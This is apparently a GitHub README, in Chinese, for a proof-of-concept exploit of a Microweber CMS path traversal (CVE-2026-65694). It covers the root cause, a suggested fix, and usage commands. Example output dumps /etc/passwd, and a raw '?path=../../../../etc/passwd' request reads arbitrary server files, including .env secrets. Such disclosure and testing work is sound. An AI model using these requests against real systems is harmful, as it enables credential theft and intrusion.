abdugafforov-bobur/CVE-2026-65694-PoC

GitHub: abdugafforov-bobur/CVE-2026-65694-PoC

针对 Microweber CMS 未授权路径遍历导致任意文件读取漏洞的 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2026-65694 — Microweber CMS 未授权任意文件读取 针对 [Microweber CMS](https://github.com/microweber/microweber) 中 **CVE-2026-65694**(一个**未授权路径遍历 → 任意文件读取**漏洞)的概念验证。 未经身份验证的攻击者可以通过公共的 `GET /userfiles/{path}` 路由读取 Web 服务器用户有权访问的任何文件——包括 Laravel 的 `.env`(APP_KEY、数据库凭据、邮件/云服务密钥)、`/etc/passwd`、日志、密钥、非 `.php` 配置文件等。 - **CVE:** CVE-2026-65694 - **类型:** 路径遍历 → 未授权任意文件读取 (CWE-22 / CWE-23) - **严重程度:** 高 — CVSS 3.1 **7.5** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`) - **受影响范围:** Microweber ≤ 2.0.20 以及当前的 `master` 分支(仍存在易受攻击的代码行) - **身份验证:** 无 ## 根本原因 `src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php` ``` public function serveFromUserfiles(Request $request) { $path = $request->path; // <-- property read, NOT $request->path() $path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".." return $this->sendResponse($path, $request); } ``` 该路由被注册为未授权访问: ``` Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*'); ``` 两个问题叠加导致了该漏洞: 1. **输入覆盖。** `$request->path`(属性访问,而不是 `$request->path()` 方法)通过 Laravel 的 `Request::__get` → `Arr::get($this->all(), 'path', fn() => $this->route('path'))` 进行解析。因此,**`?path=` 查询参数会覆盖 `{path}` 路由片段**——而且查询值*不受*浏览器或服务器应用于 URL 路径的 `..` 规范化影响。 2. **未进行路径规范化。** `normalize_path()` 仅折叠斜杠;它从不剥离或解析 `..`,也没有检查解析后的路径是否保留在 `userfiles_path()` 内部。随后,PHP 的文件层会在文件系统上解析这些 `..` 序列。 该控制器仅拦截了 `.php`、`.phtml` 和 `.php7` 扩展名(`skip_ext`),因此 PHP 源代码无法被直接读取——但**其他所有内容都可以**(`.env`、`/etc/passwd`、日志、密钥、SQLite 数据库、JSON/YAML 配置等)。 ## 环境要求 ``` pip install -r requirements.txt ``` 在所有使用推荐 `public/` 文档根目录的部署环境中均可触发(例如 Microweber 自带的 `public/.htaccess`,或者配置了 nginx `try_files $uri /index.php` 的前端控制器),在这些环境中,`userfiles/` 位于 Web 根目录之外,且 `/userfiles/*` 会被调度到 Laravel 路由器进行处理。 ## 用法 三种操作: ``` python3 poc.py -u http://TARGET --check # is the target vulnerable? python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout) python3 poc.py -u http://TARGET -r .env # app-relative path also works python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk ``` | 标志 | 操作 | |------|--------| | `--check` | 报告目标是否存在漏洞(是/否),不输出数据 | | `-r`, `--read FILE` | 读取文件并将其输出到 stdout | | `-d`, `--download FILE` | 读取文件并将其在本地保存(使用 `-o`/`--output` 设置文件名) | 遍历深度会自动检测(不断增加 `../` 直到文件被成功返回);可以使用 `--depth N` 覆盖默认值。通过 `--proxy http://127.0.0.1:8080` 经由 Burp 路由。添加 `-v` 可以查看原始请求。 ### 示例 ``` $ python3 poc.py -u http://target:8080 --check Microweber CMS - Unauthenticated Arbitrary File Read CVE-2026-65694 ( GET /userfiles/ ?path= traversal ) by Bobur Abdugafforov [*] Testing target... [+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4) $ python3 poc.py -u http://target:8080 -r /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... $ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt [+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4) ``` 底层请求非常简单: ``` GET /userfiles/?path=../../../../etc/passwd HTTP/1.1 Host: target ``` ## 影响 未授权任意文件读取。泄露 Laravel 的 `.env` 会暴露 `APP_KEY` (会话/cookie 伪造)、数据库凭据、邮件密码以及云密钥——这实质上 会导致该实例的机密信息被完全攻陷。 ## 修复建议 读取**绑定的路由参数**而不是输入属性,使用 `realpath()` 进行规范化, 并验证解析后的路径确保其保留在 `userfiles_path()` 内部: ``` public function serveFromUserfiles(Request $request) { $requested = (string) $request->route('path'); $base = realpath(userfiles_path()); $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false)); abort_if($base === false || $path === false || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404); return $this->sendResponse($path, $request); } ``` ## 致谢 由 **Bobur Abdugafforov** 发现并报告。CVE-2026-65694 由 VulnCheck 分配。 ## 免责声明 仅供授权的安全测试和教育用途使用。请勿针对您不拥有或未获得明确测试许可的系统使用。
标签:Maven, Microweber CMS, OpenVAS, PHP, Web安全, 任意文件读取, 数据处理, 漏洞验证, 蓝队分析, 路径遍历, 逆向工具